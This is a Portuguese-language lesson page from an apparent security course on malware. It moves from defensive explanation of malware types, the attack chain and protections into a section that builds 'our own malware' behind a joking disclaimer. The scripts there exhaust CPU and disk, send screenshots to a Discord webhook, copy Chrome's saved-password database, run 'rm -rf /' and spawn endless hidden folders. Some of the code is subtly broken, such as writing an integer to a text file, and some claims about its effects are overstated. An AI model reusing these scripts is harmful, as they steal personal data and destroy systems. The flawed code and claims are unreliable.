Pular para conteúdo

Malware e Ameaças

⏱️ Tempo de leitura: ~7 min

Explorar uma falha te coloca dentro do sistema. Malware é o que o atacante deixa lá pra continuar dentro — roubando, espionando ou cobrando resgate.

Pré-requisitos

  • Ter lido as páginas anteriores desta aula

O que é malware

Malware (de malicious software) é qualquer programa feito pra prejudicar, roubar ou controlar sem autorização. Depois que um atacante entra — por injeção, phishing ou uma senha quebrada — é o malware que faz o trabalho sujo e garante que ele volte.

Os tipos que você precisa reconhecer

Tipo O que faz
Vírus se anexa a um arquivo/programa e se espalha quando ele é executado
Worm se espalha sozinho pela rede, sem precisar de ninguém clicar
Trojan se disfarça de programa legítimo pra você mesmo instalar
Ransomware criptografa seus arquivos e cobra resgate pra devolver
Spyware / Keylogger espiona: grava o que você digita, tira prints, rouba senhas
RAT dá ao atacante controle remoto da máquina
Botnet junta milhares de máquinas infectadas pra atacar em conjunto (ex.: DDoS)

💡 Um mesmo malware costuma ser vários desses ao mesmo tempo: um trojan que instala um RAT que também tem keylogger.

A cadeia de um ataque

Malware raramente é um passo só. Ele segue um roteiro, e dá pra interromper o ataque em qualquer um dos elos:

  1. Entrega — como chega até a vítima (anexo de e-mail, download falso, upload num site vulnerável).
  2. Execução — a vítima roda, ou uma falha roda por ela.
  3. Persistência — se instala pra sobreviver a reinícios (uma tarefa agendada, um serviço).
  4. C2 (comando e controle) — "liga pra casa": conecta a um servidor do atacante pra receber ordens.
  5. Exfiltração — manda pra fora o que roubou (senhas, arquivos, prints).

Onde isso encontra a web

Por que malware aparece numa aula de exploração web? Porque uma falha web é uma das portas de entrega.

O exemplo clássico é o web shell. Um site que aceita upload de arquivo sem validar direito deixa o atacante subir um arquivo malicioso (muitas vezes um .php). Uma vez lá, abrir esse arquivo pelo navegador executa comandos no servidor — o atacante ganha um terminal na máquina da vítima, direto pela web.

A injeção ou o upload abrem a porta. O web shell mantém ela aberta.

O caso do ransomware

O ransomware merece destaque porque é o crime digital mais lucrativo hoje. Ele criptografa os arquivos da vítima (hospitais, prefeituras, empresas) e exige pagamento pra devolver a chave.

E o pagamento vem em cripto — lembra do extra de Criptomoedas? É o meio de pagamento do cibercrime justamente por ser difícil de rastrear.

Como se defende

A defesa acompanha a cadeia — cada elo tem um contra:

  • Atualizar tudo. A maioria dos worms explora falhas já corrigidas em quem não atualizou.
  • Menor privilégio. Malware rodando como usuário comum faz muito menos estrago que rodando como root/admin.
  • Não executar o que não confia. Anexo inesperado, crack de programa, script aleatório da internet — é o vetor de entrega número um.
  • Antivírus / EDR. Detecta comportamento suspeito (um processo tentando criptografar milhares de arquivos, ou "ligar pra casa").
  • Backup offline. Contra ransomware, se o backup está fora do alcance do malware, você restaura os arquivos e não paga resgate.
  • Segmentar a rede. Limita até onde um worm consegue se espalhar.

Vamos criar o nosso malware!

Agora que entendemos um pouco sobre vírus e malwares, vamos criar nosso próprio malware simples.

DISCLAIMER: Essa aula é apenas para fins educacionais e não deve ser usada para prejudicar outras pessoas. O uso de malware é ilegal e pode resultar em graves consequências legais. ;)

Como pode ser um simples malware?

Sabemos que malwares são programas maliciosos que podem causar danos ao sistema, roubar informações ou até danificar o hardware. Vamos começar com algo simples: um programa que apenas trava o computador, criando um loop infinito que consome toda a CPU.

while True:
    pass

Esse código cria um loop infinito que não faz nada além de consumir recursos do computador. Executá-lo pode travar o sistema, exigindo um reinício para recuperá-lo. Se rodado em uma IDE como o VSCode, apenas a IDE pode travar, sem afetar o sistema inteiro.

Podemos melhorar um pouco esse código.

i = 0
while True:
    i += 1

Agora o loop infinito incrementa uma variável, consumindo mais recursos e potencialmente causando lentidão no sistema. Vamos adicionar um print para aumentar ainda mais o consumo de recursos.

i = 0
while True:
    i += 1
    print(i)

Agora, o loop imprime o valor de i a cada iteração. Isso pode travar o sistema mais rapidamente. Mas podemos fazer algo ainda mais interessante, manipulando arquivos.

i = 0
while True:
    i += 1
    with open(f'arquivo_{i}.txt', 'w') as f:
        f.write('InsperSec')

Esse código cria arquivos infinitamente, mas ainda não é muito eficiente. Vamos intensificar a operação.

i = 0
while True:
    i += 1
    with open(f'arquivo_{i}.txt', 'w') as f:
        f.write(i**i)

Agora, os arquivos crescem exponencialmente, consumindo muito espaço em disco, o que pode travar o sistema. Mas ainda podemos melhorar.

import os

i = 0
while True:
    i += 1
    with open(f'arquivo_{i}.txt', 'w') as f:
        f.write(i**i)
    os.system(f'rm arquivo_{i}.txt')

Agora, o malware cria arquivos exponenciais e os remove logo em seguida, causando um grande consumo de recursos e danificando o sistema de arquivos.

Quer roubar informações pessoais? Vamos capturar a tela do usuário.

import pyautogui
import requests

discord_webhook = 'https://discord.com/api/webhooks/1234567890/ABCDEFGHIJKLMN'

def send_screenshot():
    screenshot = pyautogui.screenshot()
    screenshot.save('screenshot.png')
    files = {'file': open('screenshot.png', 'rb')}
    requests.post(discord_webhook, files=files)

send_screenshot()

Agora, temos um malware que envia capturas de tela para um webhook do Discord.

Podemos ir mais longe e roubar senhas salvas no navegador.

import os
import shutil

def steal_passwords():
    path = os.path.expanduser('~') + '/AppData/Local/Google/Chrome/User Data/Default/Login Data'
    shutil.copy(path, 'senhas.db')

steal_passwords()

Esse malware copia o banco de dados de senhas do Google Chrome para um arquivo local.

Finalmente, um malware perigoso que apaga o sistema operacional.

import os

def delete_system():
    os.system('rm -rf /')

delete_system()

Esse código exclui todos os arquivos do sistema, causando uma perda irreparável de dados.

Para fechar, um vírus divertido que cria pastas infinitamente e as esconde no sistema.

import os

def create_folders():
    i = 0
    while True:
        i += 1
        os.mkdir(f'pasta_{i}')
        os.system(f'attrib +s +h pasta_{i}')

create_folders()

Esse script cria pastas infinitas e as esconde com atributos de sistema, deixando o computador cheio de diretórios ocultos.

Próximos passos

Você fechou o ciclo de um ataque web: encontrar a falha, explorar e manter o acesso. A Aula 7 é a virada de chave — encadear tudo isso em ataques mais avançados e descobrir como continuar aprendendo sozinho.